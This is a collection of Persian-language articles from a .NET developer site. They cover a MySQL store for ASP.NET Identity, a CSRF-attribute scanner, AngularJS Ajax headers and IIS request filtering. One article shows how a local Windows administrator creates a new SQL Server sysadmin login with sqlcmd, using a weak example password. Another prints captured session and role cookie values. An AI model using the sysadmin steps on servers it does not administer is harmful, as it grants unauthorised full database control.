سیستم کارش EF Code first هست. این سیستم کدهاش گره خورده به بانک اطلاعاتی خاصی نیست. الان در این مثال رشته اتصالی به یک localdb اشاره می‌کنه. شما می‌تونید کلا این رشته و نحوه‌ی تعریف اون رو برای کار با SQL Server یا SQL CE یا هر بانک اطلاعاتی دیگری که پروایدر code first داره، تغییر بدید و استفاده کنید. (و اگر با ef code first آشنایی ندارید، کم کم در آینده نمی‌تونید با کتابخانه‌های کمکی و جانبی دات نت کار کنید)

نویسنده: کامران سادین
تاریخ: ۱۳۹۲/۱۱/۰۸ ۱۰:۲۷

مقاله ای نیز راجع به تغییر فیلدهاش هم بنویسید بد نیست دوستان علاقه دارند. با تشکر.

نویسنده: محسن خان
تاریخ: ۱۳۹۲/۱۱/۰۸ ۱۰:۵۸

« سفارشی کردن ASP.NET Identity در MVC 5 » بیشتر در اینجا

نویسنده: مهدی
تاریخ: ۱۳۹۳/۰۱/۱۹ ۱۲:۳۴

دوست عزیز برای حل این مشکل شما باید پوشه سورس برنامه رو تغییر بدین. این مشکل به دلیل وجود خط فاصله تو آدرس (دایرکتوری) محل قرار گیری پروژه هست. اگه محل پروژه رو در جایی قرار دهید که در آدرس آن از فاصله استفاده نشده باشد به خوبی کار خواهد کرد.

عنوان: **پیاده سازی یک تامین کننده MySQL برای ASP.NET Identity**
نویسنده: آرمین ضیاء
تاریخ: ۱۳۹۲/۱۰/۲۴ ۱۷:۵۵
آدرس: www.dotnettips.info
گروه‌ها: MySQL, Security, ASP.NET Identity, Windows Azure

در این مقاله جایگزینی پیاده سازی پیش فرض ASP.NET Identity را بررسی می‌کنیم. در ادامه خواهید خواند:
جزئیات نحوه پیاده سازی یک Storage Provider برای ASP.NET Identity
تشریح اینترفیس هایی که باید پیاده سازی شوند، و نحوه استفاده از آنها در ASP.NET Identity
ایجاد یک دیتابیس MySQL روی Windows Azure
نحوه استفاده از یک ابزار کلاینت (MySQL Workbench) برای مدیریت دیتابیس مذکور
نحوه جایگزینی پیاده سازی سفارشی با نسخه پیش فرض در یک اپلیکیشن ASP.NET MVC

در انتهای این مقاله یک اپلیکیشن ASP.NET MVC خواهیم داشت که از ASP.NET Identity و تامین کننده سفارشی جدید استفاده می‌کند. دیتابیس اپلیکیشن MySQL خواهد بود و روی Windows Azure میزبانی می‌شود. سورس کد کامل این مثال را هم می‌توانید از این لینک دریافت کنید.

پیاده سازی یک Storage Provider سفارشی برای ASP.NET Identity

ASP.NET Identity سیستم توسعه پذیری است که می‌توانید بخش‌های مختلف آن را جایگزین کنید.در این سیستم بناهای سطح بالایی مانند Managers و Stores وجود دارند.

Managers کلاس‌های سطح بالایی هستند که توسعه دهندگان از آنها برای اجرای عملیات مختلف روی ASP.NET Identity استفاده می‌کنند. مدیریت کننده‌های موجود عبارتند از UserManager و RoleManager. کلاس UserManager برای اجرای عملیات مختلف روی کاربران استفاده می‌شود، مثلا ایجاد کاربر جدید یا حذف آنها. کلاس RoleManager هم برای اجرای عملیات مختلف روی نقش‌ها استفاده می‌شود.

Stores کلاس‌های سطح پایین‌تری هستند که جزئیات پیاده سازی را در بر می‌گیرند، مثلا اینکه موجودیت‌های کاربران و نقش‌ها چگونه باید ذخیره و بازیابی شوند. این کلاس‌ها با مکانیزم ذخیره و بازیابی تلفیق شده اند. مثلا Microsoft.AspNet.Identity.EntityFramework کلاسی با نام UserStore دارد که برای ذخیره و بازیابی Userها و داده‌های مربوطه توسط EntityFramework استفاده می‌شود.

Managers از Stores تفکیک شده اند و هیچ وابستگی ای به یکدیگر ندارند. این تفکیک بدین منظور انجام شده که بتوانید مکانیزم ذخیره و بازیابی را جایگزین کنید، بدون اینکه اپلیکیشن شما از کار بیافتد یا نیاز به توسعه بیشتر داشته باشد. کلاس‌های Manager می‌توانند با هر Store ای ارتباط برقرار کنند. از آنجا که شما از APIهای سطح بالای UserManager برای انجام عملیات CRUD روی کاربران استفاده می‌کنید، اگر UserStore را با پیاده سازی دیگری جایگزین کنید، مثلا AzureTable Storage یا MySql، نیازی به بازنویسی اپلیکیشن نیست.

در مثال جاری پیاده سازی پیش فرض Entity Framework را با یک تامین کننده MySQL جایگزین می‌کنیم.

پیاده سازی کلاس‌های Storage

برای پیاده سازی تامین کننده‌های سفارشی، باید کلاس هایی را پیاده سازی کنید که همتای آنها در Microsoft.AspNet.Identity.EntityFramework وجود دارند:

```
UserStore<TUser>
IdentityUser
RoleStore<TRole>
IdentityRole
```

پیاده سازی پیش فرض Entity Framework را در تصاویر زیر مشاهده می‌کنید.

Users

Roles

در مخزن پیش فرض ASP.NET Identity EntityFramework کلاس‌های بیشتری برای موجودیت‌ها مشاهده می‌کنید.

IdentityUserClaim

IdentityUserLogin

IdentityUserRole

همانطور که از نام این کلاس‌ها مشخص است، اختیارات، نقش‌ها و اطلاعات ورود کاربران توسط این کلاس‌ها معرفی می‌شوند. در مثال جاری این کلاس‌ها را پیاده سازی نخواهیم کرد، چرا که بارگذاری اینگونه رکوردها از دیتابیس به حافظه برای انجام عملیات پایه (مانند افزودن و حذف اختیارات کاربران) سنگین است. در عوض کلاس‌های backend store اینگونه عملیات را بصورت مستقیم روی دیتابیس اجرا خواهند کرد. بعنوان نمونه متد UserStore.GetClaimsAsync() را در نظر بگیرید. این متد به نوبه خود متد userClaimTable.FindByUserId(user.Id) را فراخوانی می‌کند که یک کوئری روی جدول مربوطه اجرا می‌کند و لیستی از اختیارات کاربر را بر می‌گرداند.

```
public Task<IList<Claim>> GetClaimsAsync(IdentityUser user)
{
    ClaimsIdentity identity = userClaimsTable.FindByUserId(user.Id);
    return Task.FromResult<IList<Claim>>(identity.Claims.ToList());
```

```
}
```

برای پیاده سازی یک تامین کننده سفارشی MySQL مراحل زیر را دنبال کنید.

1. کلاس کاربر را ایجاد کنید، که اینترفیس **IUser** را پیاده سازی می‌کند.

```
public class IdentityUser : IUser
{
    public IdentityUser(){...}

    public IdentityUser(string userName) (){...}

    public string Id { get; set; }

    public string UserName { get; set; }

    public string PasswordHash { get; set; }

    public string SecurityStamp { get; set; }
}
```

2. کلاس User Store را ایجاد کنید، که اینترفیس‌های **IUserRoleStore** , **IUserLoginStore** , **IUserClaimStore** , **IUserStore** و **IUserPasswordStore** را پیاده سازی می‌کند. توجه کنید که تنها اینترفیس IUserStore را باید پیاده سازی کنید، مگر آنکه بخواهید از امکاناتی که دیگر اینترفیس‌ها ارائه می‌کنند هم استفاده کنید.

```
public class UserStore : IUserStore<IdentityUser>,
                         IUserClaimStore<IdentityUser>,
                         IUserLoginStore<IdentityUser>,
                         IUserRoleStore<IdentityUser>,
                         IUserPasswordStore<IdentityUser>
{
    public UserStore(){...}

    public Task CreateAsync(IdentityUser user){...}

    public Task<IdentityUser> FindByIdAsync(string userId){...}
...
}
```

3. کلاس Role را ایجاد کنید که اینترفیس **IRole** را پیاده سازی می‌کند.

```
public class IdentityRole : IRole
{
    public IdentityRole(){...}

    public IdentityRole(string roleName) (){...}

    public string Id { get; set; }

    public string Name { get; set; }
}
```

4. کلاس Role Store را ایجاد کنید که اینترفیس **IRoleStore** را پیاده سازی می‌کند. توجه داشته باشید که پیاده سازی این مخزن اختیاری است و در صورتی لازم است که بخواهید از نقش‌ها در سیستم خود استفاده کنید.

```
public class RoleStore : IRoleStore<IdentityRole>
{
    public RoleStore(){...}

    public Task CreateAsync(IdentityRole role){...}

    public Task<IdentityRole> FindByIdAsync(string roleId){...}
....
}
```

کلاس‌های بیشتری هم وجود دارند که مختص پیاده سازی مثال جاری هستند.

MySQLDatabase: این کلاس اتصال دیتابیس MySql و کوئری‌ها را کپسوله می‌کند. کلاس‌های UserStore و RoleStore توسط نمونه ای از این کلاس وهله سازی می‌شوند.
RoleTable: این کلاس جدول Roles و عملیات CRUD مربوط به آن را کپسوله می‌کند.
UserClaimsTable: این کلاس جدول UserClaims و عملیات CRUD مربوط به آن را کپسوله می‌کند.
UserLoginsTable: این کلاس جدول UserLogins و عملیات CRUD مربوط به آن را کپسوله می‌کند.
UserRolesTable: این کلاس جدول UserRoles و عملیات CRUD مربوطه به آن را کپسوله می‌کند.
UserTable: این کلاس جدول Users و عملیات CRUD مربوط به آن را کپسوله می‌کند.

ایجاد یک دیتابیس MySQL روی Windows Azure

1. به پورتال مدیریتی Windows Azure وارد شوید.
2. در پایین صفحه روی **+NEW** کلیک کنید و گزینه **STORE** را انتخاب نمایید.

در ویزارد **Choose Add-on** به سمت پایین اسکرول کنید و گزینه **ClearDB MySQL Database** را انتخاب کنید. سپس به مرحله بعد بروید.

Choose an Add-on

ALL

APP SERVICES

DATA

ClearDB MySQL Database

SuccessBricks, Inc.

ClearDB is a powerful, fault-tolerant database-as-a-service in the cloud for your MySQL powered applications.

PUBLISHED DATE 10/10/2012

2 3

4. راهکار **Free** بصورت پیش فرض انتخاب شده، همین گزینه را انتخاب کنید و نام دیتابیس را به **IdentityMySQLDatabase** تغییر دهید. نزدیک‌ترین ناحیه (region) به خود را انتخاب کنید و به مرحله بعد بروید.

5. روی علامت checkmark کلیک کنید تا دیتابیس شما ایجاد شود. پس از آنکه دیتابیس شما ساخته شد می‌توانید از قسمت **ADD-**

ONS آن را مدیریت کنید.

6. همانطور که در تصویر بالا می‌بینید، می‌توانید اطلاعات اتصال دیتابیس (connection info) را از پایین صفحه دریافت کنید.

7. اطلاعات اتصال را با کلیک کردن روی دکمه مجاور کپی کنید تا بعدا در اپلیکیشن MVC خود از آن استفاده کنیم.

ایجاد جداول ASP.NET Identity در یک دیتابیس MySQL

ابتدا ابزار MySQL Workbench را نصب کنید.

1. ابزار مذکور را از اینجا دانلود کنید.
2. هنگام نصب، گزینه **Setup Type: Custom** را انتخاب کنید.
3. در قسمت انتخاب قابلیت ها، گزینه‌های **Applications** و **MySQLWorkbench** را انتخاب کنید و مراحل نصب را به اتمام برسانید.
4. اپلیکیشن را اجرا کرده و روی **MySQLConnection** کلیک کنید تا رشته اتصال جدیدی تعریف کنید. رشته اتصالی که در مراحل قبل از Azure MySQL Database کپی کردید را اینجا استفاده کنید. بعنوان مثال:

Connection Name

```
: AzureDB;
```

Host Name

```
: us-cdbr-azure-west-b.cleardb.com;
```

Username

```
: <username>;
```

Password

```
: <password>;
```

Default Schema

```
: IdentityMySQLDatabase
```

5. پس از برقراری ارتباط با دیتابیس، یک برگ **Query** جدید باز کنید. فرامین زیر را برای ایجاد جداول مورد نیاز کپی کنید.

```
CREATE TABLE `IdentityMySQLDatabase`.`users` (
  `Id` VARCHAR(45) NOT NULL,
  `UserName` VARCHAR(45) NULL,
  `PasswordHash` VARCHAR(100) NULL,
  `SecurityStamp` VARCHAR(45) NULL,
  PRIMARY KEY (`id`));

CREATE TABLE `IdentityMySQLDatabase`.`roles` (
  `Id` VARCHAR(45) NOT NULL,
  `Name` VARCHAR(45) NULL,
  PRIMARY KEY (`Id`));

CREATE TABLE `IdentityMySQLDatabase`.`userclaims` (
  `Id` INT NOT NULL AUTO_INCREMENT,
  `UserId` VARCHAR(45) NULL,
  `ClaimType` VARCHAR(100) NULL,
  `ClaimValue` VARCHAR(100) NULL,
  PRIMARY KEY (`Id`),
  FOREIGN KEY (`UserId`)
    REFERENCES `IdentityMySQLDatabase`.`users` (`Id`) on delete cascade);

CREATE TABLE `IdentityMySQLDatabase`.`userlogins` (
  `UserId` VARCHAR(45) NOT NULL,
  `ProviderKey` VARCHAR(100) NULL,
  `LoginProvider` VARCHAR(100) NULL,
  FOREIGN KEY (`UserId`)
    REFERENCES `IdentityMySQLDatabase`.`users` (`Id`) on delete cascade);

CREATE TABLE `IdentityMySQLDatabase`.`userroles` (
  `UserId` VARCHAR(45) NOT NULL,
  `RoleId` VARCHAR(45) NOT NULL,
  PRIMARY KEY (`UserId`, `RoleId`),
  FOREIGN KEY (`UserId`)
    REFERENCES `IdentityMySQLDatabase`.`users` (`Id`)
on delete cascade
on update cascade,
  FOREIGN KEY (`RoleId`)
    REFERENCES `IdentityMySQLDatabase`.`roles` (`Id`)
on delete cascade
on update cascade);
```

6. حالا تمام جداول لازم برای ASP.NET Identity را در اختیار دارید، دیتابیس ما MySQL است و روی Windows Azure میزبانی شده.

ایجاد یک اپلیکیشن ASP.NET MVC و پیکربندی آن برای استفاده از MySQL Provider

1. به مخزن https://github.com/raquelsa/AspNet.Identity.MySQL بروید.
2. در گوشه سمت راست پایین صفحه روی دکمه Download Zip کلیک کنید تا کل پروژه را دریافت کنید.
3. محتوای فایل دریافتی را در یک پوشه محلی استخراج کنید.
4. پروژه AspNet.Identity.MySQL را باز کرده و آن را کامپایل (build) کنید.
5. روی نام پروژه کلیک راست کنید و گزینه **Add, New Project** را انتخاب نمایید. پروژه جدیدی از نوع ASP.NET Web Application بسازید و نام آن را به **IdentityMySQLDemo** تغییر دهید.

6. در پنجره New ASP.NET Project قالب MVC را انتخاب کنید و تنظیمات پیش فرض را بپذیرید.

7. در پنجره Solution Explorer روی پروژه IdentityMySQLDemo کلیک راست کرده و **Manage NuGet Packages** را انتخاب کنید. در قسمت جستجوی دیالوگ باز شده عبارت "*Identity.EntityFramework* " را وارد کنید. در لیست نتایج این پکیج را انتخاب کرده و آن را حذف (Uninstall) کنید. پیغامی مبنی بر حذف وابستگی‌ها باید دریافت کنید که مربوط به پکیج EntityFramework است، گزینه Yes را انتخاب کنید. از آنجا که کاری با پیاده سازی فرض نخواهیم داشت، این پکیج‌ها را حذف می‌کنیم.

8. روی پروژه IdentityMySQLDemo کلیک راست کرده و **Add, Reference, Solution, Projects** را انتخاب کنید. در دیالوگ باز شده پروژه **AspNet.Identity.MySQL** را انتخاب کرده و OK کنید.

9. در پروژه IdentityMySQLDemo پوشه Models را پیدا کرده و کلاس **IdentityModels.cs** را حذف کنید.

10. در پروژه IdentityMySQLDemo تمام ارجاعات "using Microsoft.AspNet.Identity.EntityFramework;" را با "using AspNet.Identity.MySQL;" جایگزین کنید.

11. در پروژه IdentityMySQLDemo تمام ارجاعات به کلاس "ApplicationUser" را با "IdentityUser" جایگزین کنید.

12. کنترلر Account را باز کنید و متد سازنده آنرا مطابق لیست زیر تغییر دهید.

```
public AccountController() : this(new UserManager<IdentityUser>(new UserStore(new MySQLDatabase())))
{

}
```

13. فایل web.config را باز کنید و رشته اتصال DefaultConnection را مطابق لیست زیر تغییر دهید.

```
<add name="DefaultConnection" connectionString="Database=IdentityMySQLDatabase;Data
Source=<DataSource>;User Id=<UserID>;Password=<Password>" providerName="MySql.Data.MySqlClient" />
```

مقادیر <UserId>, <DataSource> و <Password> را با اطلاعات دیتابیس خود جایگزین کنید.

اجرای اپلیکیشن و اتصال به دیتابیس MySQL

1. روی پروژه IdentityMySQLDemo کلیک راست کرده و **Set as Startup Project** را انتخاب کنید.
2. اپلیکیشن را با Ctrl + F5 کامپایل و اجرا کنید.
3. در بالای صفحه روی **Register** کلیک کنید.
4. حساب کاربری جدیدی بسازید.

5. در این مرحله کاربر جدید باید ایجاد شده و وارد سایت شود.

6. به ابزار MySQL Workbench بروید و محتوای جداول **IdentityMySQLDatabase** را بررسی کنید. جدول users را باز کنید و اطلاعات کاربر جدید را بررسی نمایید.

برای ساده نگاه داشتن این مقاله از بررسی تمام کدهای لازم خودداری شده، اما اگر مراحل را دنبال کنید و سورس کد نمونه را دریافت و بررسی کنید خواهید دید که پیاده سازی تامین کنندگان سفارشی برای ASP.NET Identity کار نسبتا ساده ای است.

عنوان: **یافتن اکشن متدهای Post ایی در ASP.NET MVC که فیلتر CSRF ندارند**
نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۱۲/۰۸ ۰:۱۰
آدرس: www.dotnettips.info
گروه‌ها: MVC, Security

روش مرسوم مقابله با حملات CSRF در ASP.NET MVC، استفاده از فیلتر امنیتی ValidateAntiForgeryToken بر روی اکشن متدهایی از نوع Post است و سپس فراخوانی Html.AntiForgeryToken در View متناظر.
با بالا رفتن تعداد اکشن متدهای یک پروژه، ممکن است استفاده از ValidateAntiForgeryToken فراموش شود. در ادامه مثالی را ملاحظه می‌کنید که یک پروژه‌ی ASP.NET MVC را جهت یافتن اکشن متدهای Post ایی که فیلتر ValidateAntiForgeryToken ندارند، اسکن می‌کند:

```
using System;
using System.Linq;
using System.Reflection;
// Add a ref. to \Program Files\Microsoft ASP.NET\ASP.NET MVC 4\Assemblies\System.Web.Mvc.dll
using System.Web.Mvc;
// Add a ref. to System.Web
using System.Web.UI;

namespace FindOutputCaches
{
    class Program
    {
        static void Main(string[] args)
        {
            var path = @"D:\path\bin\site.dll";
            var asmTarget = Assembly.LoadFrom(path);

            checkCsrfTokens(asmTarget);

            Console.WriteLine("Press a key...");
            Console.Read();
        }


        private static void checkCsrfTokens(Assembly asmTarget)
        {
            // یافتن کلیه کنترلرها
            var controllers = asmTarget.GetTypes()
                                       .Where(type => typeof(IController).IsAssignableFrom(type) &&
                                                      !type.Name.StartsWith("T4MVC"))
                                       .ToList();

            foreach (var controller in controllers)
            {
                // یافتن کلیه اکشن متدهای کنترلر جاری
                var actionMethods = controller.GetMethods(BindingFlags.Public | BindingFlags.Instance |
BindingFlags.DeclaredOnly)
                                              .Where(method =>
typeof(ActionResult).IsAssignableFrom(method.ReturnType))
                                              .ToList();

                foreach (var method in actionMethods)
                {
                    var httpPostAttributes = method.GetCustomAttributes(typeof(HttpPostAttribute),
true);
                    if (httpPostAttributes == null || !httpPostAttributes.Any())
                        continue;

                    var csrfTokens =
method.GetCustomAttributes(typeof(ValidateAntiForgeryTokenAttribute), true);
                    if (csrfTokens == null || !csrfTokens.Any())
                    {
                        Console.WriteLine("Detected [HttpPost] without [ValidateAntiForgeryToken] in:\n
{0}-->{1}",
                                          controller.FullName, method.Name);
                    }
                }
            }
        }
    }
}
```

ابتدا مسیر اسمبلی کامپایل شده پروژه ASP.NET MVC که حاوی کنترلرهای برنامه است، باید مشخص گردد.
سپس در این اسمبلی، کلیه نوع‌های تعریف شده، یافت گردیده و آن‌هایی که پیاده سازی کننده IController هستند (یعنی کلاس‌های کنترلر واقعی برنامه)، جدا خواهند شد.
در ادامه در این کنترلرها، متدهایی را بررسی خواهیم کرد که دارای خروجی از نوع ActionResult باشند (فقط اکشن متدها مدنظر هستند). اگر این اکشن متد یافت شده دارای ویژگی HttpPost بود و همچنین ValidateAntiForgeryToken نداشت، یعنی یک مشکل امنیتی که باید برطرف شود.

عنوان: **افزودن اکانت مدیریتی فراموش شده به SQL Server**
نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۱۲/۰۹ ۱:۰
آدرس: www.dotnettips.info
گروه‌ها: SQL Server, Security

فرض کنید
- تمام اکانت‌های مدیریتی توکار SQL Server را حذف کرده‌اید (یا برایتان حذف کرده‌اند).
- بجز کاربر SA، تمام کاربران را از نقش SYSADMIN حذف کرده‌اید؛ شامل تمام اکانت‌های ویندوزی و همچنین خود SQL Server.
- پسورد SA را هم فراموش کرده‌اید یا ندارید.

خوب، الان چکار می‌خواهید بکنید؟!
احتمالا نصب مجدد سرور را پیشنهاد دهید یا بانک اطلاعاتی Master را بازسازی کنید که در هر دو حالت تمام تنظیمات سرور را از دست خواهید داد. روش دیگری هم بدون از دست دادن تنظیمات سرور وجود دارد که در ادامه آن‌را بررسی خواهیم کرد.

افزودن یک اکانت مدیریتی جدید به SQL Server

اگر دسترسی کامل مدیریتی خود را به SQL Server از دست داده‌اید باید ابتدا به آن سرور لاگین کنید؛ با این فرض که کاربر وارد شده به سیستم، جزو local administrators group است.

```
C:\>sqlcmd -S .
1> create login [MachineName\TestUser] from windows;
2> go
1> exec sp_addsrvrolemember 'MachineName\TestUser','sysadmin'
2> go
1> select is_srvrolemember('sysadmin', 'MachineName\TestUser')
2> go
-----------
1
(1 rows affected)
1>
```

سپس خلاصه مواردی را که ملاحظه می‌کنید، اجرای سه دستور است:
الف) اجرای sqlcmd با پارامتر S و مشخص سازی وهله‌ی مورد نظر
البته حالت کامل آن در صورتیکه از وهله‌ی پیش فرض استفاده نمی‌کنید SQLCMD –S Server_Name\Instance_Name است. S نیز در اینجا باید با حروف بزرگ نوشته شود.
ب) create login را بر روی یکی از اکانت‌های محلی سیستم اجرا کنید. مثلا MachineName\administrator یا هر اکانت موجود دیگری که لازم است. نام آن نیز باید حتما به شکل server_name\user_name باشد.
در حین استفاده از sqlcmd، هر فرمان زمانی اجرا می‌شود که در سطر پس از آن، یک go نوشته شده و enter شود.
ج) سپس توسط sp_addsrvrolemember به این اکانت اضافه شده، دسترسی sysadmin بدهید.

برای آزمایش آن فقط کافی است از متد is_srvrolemember برای کوئری گرفتن استفاده کنید و یا سعی کنید توسط اکانت اضافه شده، به SQL Server لاگین کنید. این اکانت اکنون در قسمت Security/logins قابل مشاهده است.

اگر نمی‌خواهید از اکانت‌های ویندوزی استفاده کنید، create login را به نحو ذیل مقدار دهی کنید:

```
C:\>sqlcmd -S .
1> use master
2> go
Changed database context to 'master'.
1> create login test_user with password='123#123'
2> go
1> exec sp_addsrvrolemember 'test_user','sysadmin'
2> go
1>
```

سپس به این کاربر اضافه شده با کلمه‌ی عبور مشخص، توسط sp_addsrvrolemember دسترسی sysadmin بدهید.

نظرات خوانندگان

نویسنده: وحید
تاریخ: ۱۳۹۲/۱۲/۱۱ ۱۳:۱۹

با سلام؛ دستور خط اول را که می‌نویسم ارور زیر را می‌دهد

```
Sqlcmd: Error: Microsoft SQL Server Native Client 11.0 : Login failed for user 'NARM-2-PC\Narm-2'..
```

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۱۲/۱۱ ۱۴:۸

در متن قید شده «... با این فرض که کاربر وارد شده به سیستم، جزو local administrators group است ...». یعنی:

عنوان: **بررسی خروجی IsAjaxRequest در درخواست های $http توسط AngularJS**
نویسنده: ناصر طاهری
تاریخ: ۲۱:۱۰ ۱۳۹۳/۰۱/۱۲
آدرس: www.dotnettips.info
گروه‌ها: MVC, Security, AngularJS

در یکی از پروژه‌هایی که دارم از AngularJS و ASP.NET MVC استفاده میکنم. به هنگام استفاده از درخواست‌های ایجکسی توسط سرویس $http به مشکل عدم تشخیص ایجکسی بودن درخواست برخوردم.
توسط فیلتری که در اینجا توضیح داده شده و قرار دادن آن قبل از اکشن مورد نظر، میتوانیم تشخیص بدهیم که آیا درخواست رسیده از سمت کلاینت، ایجکسی است یا خیر؟ که در صورت ایجکسی نبودن درخواست، با صادر کردن یک استثنا مانع از اجرا شدن اکشن شویم. این فیلتر از اکستنشنی به نام IsAjaxRequest برای این تشخیص استفاده میکند:

```
HttpContext.Request.IsAjaxRequest();
```

اما هنگام استفاده از سرویس $http ، اکستنشن IsAjaxRequest() همیشه مقدار False را برمیگرداند. در حالیکه با متدهای ساده ایجکسی Jquery مثل $.get و... ، مقدار این اکستنشن True میشود و به خوبی هم کار میکند.
درخواست‌های هر دو مورد را که با فایرباگ بررسی کردم به این مقادیر برخوردم.
ویژگی‌های درخواست توسط Jquery - $.get

```
Request Headers
        Accept  application/json, text/plain, */*
Accept-Encoding  gzip, deflate
Accept-Language  fa-ir,en-us;q=0.7,en;q=0.3
        Cookie  MyLanguageCookieName=fa-IR; __RequestVerificationToken=ZuW8imM5USKOyBH2kih4o
                T38mP9854FoY2y817pXhqjOyO9eQ8VUTsln9A_ufopXaC0btSjSKb8A0auWz5hFd5qiaiVO7eZxY
                ; captchastring=55-57-EB-27-6B-06-A7-C4-CC-93-9F-4A-C8-AF-28-63-93-9E-8E-6E-
                3B-7E-5F-1E-32-7D-66-30-3A-1C-FA-A2-DB-B4-43-10-BF-E7-02-56-CF-63-19-56-00-E
                A-2C-E8-45-B8-81-54-3B-60-84-12-9C-AA-19-4F-18-15-D2-82-5E-2D-02-46-C5-5E-D0-
                ; .403MyApp=CE5EF7C684F13C1FAA8DB8F8B43E14E47587D7E9C590EB0D492620F5E01213F7
                0D6E99B1571F1CEC9E3B97BAF77F3FB5C95E92A7462B6490D6B5ECD4FF38F642DE82D8675536
                1EF24201B7C6F3D56B9083A145D8F57B15FA3805E766CBA746A4FC16EA2A6726DC96
           Host  localhost:8417
        Referer  http://localhost:8417/administrator/dashboard
     User-Agent  Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0
 X-Requested-With  XMLHttpRequest
```

و ویژگی‌های درخواست توسط سرویس AngularJs - $http :

Request Headers

Accept	application/json, text/plain, */*
Accept-Encoding	gzip, deflate
Accept-Language	fa-ir,en-us;q=0.7,en;q=0.3
Content-Length	112
Content-Type	application/json;charset=utf-8
Cookie	MyLanguageCookieName=fa-IR; __RequestVerificationToken=ZuW8imM5USKOyBH2kih4T38mP9854FoY2y817pXhqjOyO9eQ8VUTsln9A_ufopXaC0btSjSKb8A0auWz5hFd5qiaiVO7eZx; captchastring=55-57-EB-27-6B-06-A7-C4-CC-93-9F-4A-C8-AF-28-63-93-9E-8E-6E3B-7E-5F-1E-32-7D-66-30-3A-1C-FA-A2-DB-B4-43-10-BF-E7-02-56-CF-63-19-56-00-A-2C-E8-45-B8-81-54-3B-60-84-12-9C-AA-19-4F-18-15-D2-82-5E-2D-02-46-C5-5E-D; .403MyApp=CE5EF7C684F13C1FAA8DB8F8B43E14E47587D7E9C590EB0D492620F5E01213F0D6E99B1571F1CEC9E3B97BAF77F3FB5C95E92A7462B6490D6B5ECD4FF38F642DE82D867553; .ASPXROLES=pZCIOmMLs7NqH6S316M05D191zEnr47gvjGCS7ex068PRurznIYsonRQJZ-eAIOyU0RQWwAYiw-fNGa6q6MK0zCso9uQWGiP-O0aezj2yC9wV_xDYY40C0g8kEl5yqMlhmMY4hmkWU6-IlqkRNG9inON8e4ybE5Yc00uZbh-XN0GPgWPM1BvS4i2J3dcMn00af2-f4wPL4qvakegYDJCkMR2NAx8Ku7HzV2JvpKcYpyfQLF-WMo19yK6fUKJwlTJXgWaZVzs4Jkq-GO9RmRuXBAsDXJTYmJMlyWpHICBwkvj_9hQy2Bdf2jggtYTVEE7XLNPw35nuiRUlgbkT3pCVd_Ipoa77aXXz0ClA1j1C-aQWZq__IErhh-4ysOTa1TJgFP-AloFKsD6Tke3a5Q1zqvKQQIOY9SohCEI-NJSNpl61VhpJBtPK
Host	localhost:8417
Referer	http://localhost:8417/administrator/dashboard
User-Agent	Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0

همینطور که میبینید، در هدر درخواست $http یک مورد مفقود الاثر شده به نام X-Requested-With داریم و همین مقدار است که مشخص میکند این یک درخواست ایجکسی است یا خیر و اکستنشن IsAjaxRequest() نیر با همین مقدار عمل تشخیص را انجام میدهد. و به همین خاطر بود که این متد مقدار False را برمیگرداند.

بعد از کمی جستجو در این مورد ، به مخزن git انگیولار رسیدم و به صراحت به این موضوع اشاره شده بود که این هدر به صورت پیشفرض از درخواست‌های $http برداشته شده است.

بنابراین تنها راه حل این بود که خودمان به صورت دستی این هدر خاص رو به ماژول برنامه اضافه کنیم. به صورت زیر :

```
myAppModule.config(['$httpProvider', function($httpProvider) {
    $httpProvider.defaults.headers.common["X-Requested-With"] = 'XMLHttpRequest';
}]);
```

با اضافه کردن این هدر به درخواست‌های $http ، اکستنشن IsAjaxRequest() مقدار درست را برمیگرداند.

عنوان: **پالایش درخواست ها در IIS**
نویسنده: امین مصباحی
تاریخ: ۱۳۹۳/۰۱/۳۰ ۱۹:۰
آدرس: www.dotnettips.info
گروه‌ها: ASP.Net, IIS, Security

شاید شما هم قصد داشته باشید تا از برخی درخواست‌ها به وب سایت یا اپلیکیشن خود ممانعت عمل بیاورید. نظیر درخواست‌های SQL Injection یا برخی Query Stringهای خاص یا برخی درخواست‌های مزاحم.

یکی از مزاحمت هایی که گریبانگیر وب سایت هاست، Botهای متفاوتی است که برای کپی اطلاعات، درج کامنت به صورت خودکار و مواردی از این دست، به آنها مراجعه میکنند. شاید در نگاه اول بد نباشد که این Botها به سراغ وب سایت ما بیایند و باعث افزایش تعداد ویزیت سایتمان شوند؛ ولی ضررهای ناشی از کپی و سرقت مطالب سایت، آنهم با سرعت بالا، بیشتر از منافع ناشی از بالا رفتن رنک سایت است. به طور مثال همین سایت NET Tips. دارای تعداد زیادی مقالات مفید است که افراد متعددی در نگارش و تهیه آن‌ها زحمت کشیده اند، یا وب سایتی برای جلب اعتماد مشتریان جهت درج اطلاعاتشان و یا آگهی هایشان زحمت زیادی کشیده است، Botهای آماده‌ی زیادی وجود دارد که با چند دقیقه صرف وقت جهت تنظیم شدن آماده میشوند تا مطالب را طبق ساختار تعیین شده، مورد به مورد کپی کنند.

برای خلاصی از این موارد روش‌های متعددی وجود دارد که از جمله آنها می‌توان به تنظیمات فایل htaccess در وب سرورهایی نظیر Apache و یا web.config در IIS اشاره کرد. در این مقاله این امکان را با IIS مرور میکنیم و برای فعال سازی آن کافی است در:

IIS 7.5 و بالاتر، همراه با انتخاب Request Filtering در مراحل نصب IIS

IIS 7.0 پس از نصب بسته آپدیت Microsoft Knowledge Base Article 957508 .

IIS 6.0 با نصب URLScan 3.0

در بخش <system.webServer> و سپس <security>، تگ requestFiltering را استفاده کنیم، در این تگ دستورالعمل‌های ویژه‌ی پالایشگر درخواست‌ها را مینویسیم (filteringRules) هر دستورالعمل پالایش دارای خصیصه‌های (Attributes) زیر است:

denyUnescapedPercent

مقدار Boolean و انتخابی

اگر برابر با true تنظیم گردد، درخواست هایی که دارای کاراکتر "درصد" (%) هستند و به وسیله escape character ها پوشش داده نشده باشند، رد می‌شوند. (جهت جلوگیری از حملات XSS و...)

مقدار پیش فرض true است.

name

عنوان دستورالعمل.

مقدار پیش فرض نداشته و درج کردن آن اجباری است.

scanAllRaw

مقدار Boolean و انتخابی

